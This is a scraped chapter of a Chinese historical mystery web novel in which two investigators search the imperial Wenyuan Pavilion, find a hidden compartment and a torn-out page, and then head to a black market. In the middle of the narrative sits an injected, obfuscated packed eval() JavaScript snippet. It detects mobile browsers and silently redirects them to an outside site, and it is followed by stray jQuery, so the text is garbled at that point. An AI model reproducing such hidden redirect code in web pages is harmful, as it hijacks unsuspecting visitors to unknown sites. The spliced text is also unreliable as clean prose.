福康寺是皇家祭祀祈福之地,每日往来洒扫,诵经祈福之人不少,夜里也有守夜的僧人。
寿山石原被摆在福康寺,若想动什么手脚,还不想被人察觉,委实有些难度。
“寿山石是吉物,小僧等除了日常洒扫,皆不敢轻易触碰。平日也不见谁靠近。”
福寿寺洒扫的小僧人空业答道。
顾随安又问了几个宫人,皆说没见什么异常。
只是今日洒扫时,见寿康石上的字发生了变化。
福康寺的宫人僧侣皆被一一讯问,排查了一天毫无收获。随侍的大理寺官员皆有些丧泄气。
谢时鸢环顾,
见不远处有个突起的石台,石台前摆着香案,想来寿康石先前就是被供奉在这里。
走进细看,石台被打扫的一尘不染,没有留下什么脚印线索。
“此事事关重大,这三天福寿寺任何人不得擅自出入。”
“是。”
侍卫将寺中宫人僧侣意义带走分别关押。
遣散了宫人,顾随安走近,与谢时鸢一起蹲在石台前细看。
“有什么发现?”
谢时鸢摇摇头,“世子,你说这世间真的有改变石头纹路的法子?”
顾随安沉思片刻“或许有个地方能告诉我们答案。”
次日一早,谢时鸢依约来到宫内东北角一处绿瓦白墙的殿宇前。
殿前金匾上写着“文渊阁。”
走进殿中,只见高架林立,上面密密麻麻,摆放着书简。
“天下奇书异志,古今经史子集,尽在此处了。”顾随安介绍道。
大晋皇室级看重文养,几代皇帝更是热衷于收纳天下孤本奇书,顾随安说得没错,若这世间真的有,能改变石头问纹路的方法的奇妙功法,那也只有此处最有可能有找到了。
文渊阁有三层,一层收藏的是百家经典,二层收藏的是史书珍画,三层上的藏书,便是谢时鸢他们要找的奇文异志了。
只是二人行至三楼便被拦了下来。
为首是个文臣模样打扮的中年男子,面白无须,说话尖声。不像个臣子,倒像个公公
“二位留步,皇家禁地,不可入内。”
“这文渊阁自建成便可供太学弟子出入借阅,何时有了禁地?”顾随安问道。
“小大人说的是一层和二层,这三层收纳的都是孤本,若是让人碰坏了,上头怪罪下来不是一般人担当的起的。小大人莫怪。”
那男子一口一个小大人,却高抬下巴,斜眼看人,环胸抱臂,好不神气。
顾随安面容沉了又沉,又复扬起一张笑脸,
“我等确有急事,还请大人行个方便。”说着,从怀中掏出个沉殿殿的锦囊,塞到那男子的手中。
那男子却不领情,一甩手将锦囊扔了回去,“小大人别让下官犯错才是。”
“你。”
软硬不吃,谢时鸢暗忖。盯着那男子光洁的下巴,心下有了主意。
转头对顾随安道:“既是如此也不要为难大人了,世子我们还是从别处寻寻法子,治一治你这朋友的多毛之症了。”
“啊?”顾随安被谢时鸢的一席话,说得一头雾水。
谢时鸢向那男子的方向使了使眼色,顾随安看了一眼便心领神会。
“啊,是,我这朋友啊着实可怜,上个月吃错了东西,竟然长了一身黑毛,须长似关公。本想着这文渊阁中定有破解之法,既然不便入内,我们还是别处寻吧。”
说罢二人佯装离去。
谢时鸢心中暗数,一,二,三,
果不其然身后传来那守门的男子急切的脚步
“二位留步!”
谢时鸢与顾随安暗暗相视一笑,转过身去,佯装不解。
“不知二位所说这位朋友是吃了何物染上了这多毛之症?”那男子放下姿态,堆出一副笑脸,与开始时判若两人。
“我这朋友啊说是吃了个古方,具体这方子是什么......”
那男子随着顾随安的话放慢了呼吸,听得仔细。
“还得容我回去问问,只是我这朋友投奔了我来,若是查不出治疗之术,恐怕即刻他便去别处寻找了。”顾随安轻摇折扇又露出他那标准的狐狸笑来。
那男子闻言转身看了看身后的藏书阁门,思索片刻,将手中的钥匙递给了他们。
“二位请便,不过下官也只能为二位争取一刻钟的时间。”
谢时鸢接过钥匙,道“多谢大人了。”
待二人正要进去,那男子又复拉住顾随安的手臂再嘱咐道
“上边贵人不准人轻易进入,下官冒死房小王爷入内,只盼着王爷日后能将在下与这位朋友引荐一二。”
顾随安拍拍他的肩膀,笑道“好说好说。”
文渊阁着实大,三层的藏书不胜枚举。二人一进入便顾不得闲谈,着手翻找起来。
这三层确如传言中所说,尽是天下难得一见的孤本奇闻。谢时鸢仔细翻找,翻找到高处时,一个踉跄,急忙扶住书架才堪堪站稳。
“谢姑娘小心些。”顾随安嘱咐道。
谢时鸢颔首。
回过神来,忽觉手下按着的地方有个小突起,似是活的。
谢时鸢试着按下,只听咔嚓两声,右侧的书架上竟开了一扇小门,露出个四四方方的箱柜来。
“好家伙,这是什么?”顾随安闻言凑近,与谢时鸢一起向里看去。
“这里竟然有个暗格。”谢时鸢暗自惊奇。
那暗格里放着不少书画,看书品的颜色似有些年头了。
“传闻永净先生的昙花集第三册已失传多年,没想到竟在这。”顾随安拿起一本泛黄的书本,小心翻看。
谢时鸢看向手里封面上赫然写着《海行堪图》竟是百年前的航海图真品!
能放在文渊阁三层的书已是世间难寻的珍品,这三层中的暗格里,怕是更珍贵了。
在暗格的最里侧放着个锦缎画轴,那画轴外壳看起来有些残破,放在这珍宝阁中有些突兀,
谢时鸢疑惑,取出打开,竟是幅美人图。那美人身着赤色长裙,身披白色狐裘立于一棵梅树下。
眉若远山,唇如暖玉,比那梅花还娇艳些。
谢时鸢看着那聘婷的身姿,似在哪见过,往下来拉开画轴,
画卷有题字“恍若梅精入凡尘,花不尽,月无穷,两心同”落款是“甲辰岁末与吾妻书”
谢时鸢想起来了,这画上的女子和平陵侯府,沈君泽院中墙上所画女子一样!
是梅精夫人。
看画上题字,情意拳拳,应是平陵侯为爱妻所画。梅精夫人过世多年,为何画像会出现在文渊阁的暗格中?
谢时鸢蹙眉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16009401|178288||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
“找到了!”
顾随安的惊呼打断了思绪。
只见他手持一卷,名为《奇闻异物三两事》,里面果然记载着可改变石纹的法子。
“这书的名字倒是好笑。”谢时鸢怎么看这都不像是一本正经的书。
二人按着索引翻看,怎料那原来本该记着改石纹法子的那一页纸,竟齐齐地被人撕了去!
二人对视一眼,
顾随安冷哼“果然如此。”
“文渊阁三层守备森严,此人能自由出入,要么是身份极高,守门不敢阻拦,要么定是个顶级的轻功高手,能在不让人察觉之时潜入其中。”
谢时鸢将那断口处仔细翻看,蹙眉道。
那断口处被撕得整齐,不像是慌乱之中为之,倒更像是信步而来,徐徐撕下。
“那作乱者定是怕来日有人找到证据,才将其撕下。眼下只要找到那残页便可知作乱者为何人。”顾随安分析道
谢时鸢摇摇头并不乐观,此话乍一听有理,可是在这硕大的皇城内,要想寻到一页纸谈何容易,就算皇帝应允大肆搜宫,怕是那人早就将残页毁尸灭迹一烧了之了。
三日之期已然过了一半,谢时鸢仔细翻看那本《奇闻异物三两事》想看出些端倪,只见那书皮最后面的扉页上,隐隐可见一抹
红色,许是时间久了有些褪色。
“这是什么?”顾随安似乎也注意到了。
谢时鸢拿近了些,指给他看“你看这,像不像一朵小红花?”
“小红花?”
“传闻有位红花先生,才学渊博,所著之书皆无署名,只在扉页上印上朵小红花,以辨真伪。”谢时鸢摩擦着那朵红花,将那书收好藏在腰侧,扭头与顾随安道“按照那红花先生的习惯,这定然不是孤本,怕是还有。世子,我们怕是要闯一闯黑市了。”
话音刚落,那守门的男子拍门催促“二位,时间不早,快些出来吧。”
谢时鸢率先出门去。
望着那女子的背影,顾随安心中暗忖,这谢大姑娘果然不同循常闺秀,不仅聪明睿智,胆子也大,黑市也敢闯。
这个朋友他倒是想交一交。
时间紧迫,二人出了宫,径直往京郊的小市而去。
进了个茶馆,给了掌柜了两个银锭子,并一块铜牌。
掌柜的深深打量了二人,随后着人将他们眼睛蒙住,引着往后院走去。
“谢姑娘莫怕,这是黑市的规矩,为的就是防止人知道地址,坏了事儿。”
谢时鸢蒙着眼睛,被人搀扶着小心前行。只听顾随安在耳边轻声安慰。
不由调侃“世子倒是对这黑市的规矩颇为熟悉,难道也是这里的常客?”
“惭愧惭愧,家父偏爱古扇,若是遇到难寻的,少不得要来这走一遭。”
“原来如此。”
谢时鸢只觉过了三道门又走了些许路,耳边的嘈杂声渐渐消失,而后又复热闹起来。
待黑布被摘下,适应了光亮,竟发现,还身在之前的茶馆!
但细看之后,又发现了并不是,此处一应茶具皆无,只有几张陈旧的桌子。
一女子坐在堂上,一袭红衣一派掌柜的打扮,四周皆是精壮的汉子,打着赤膊,各个虎目圆睁。
“世子别来无恙啊。”
那女子见了顾随安未语先笑。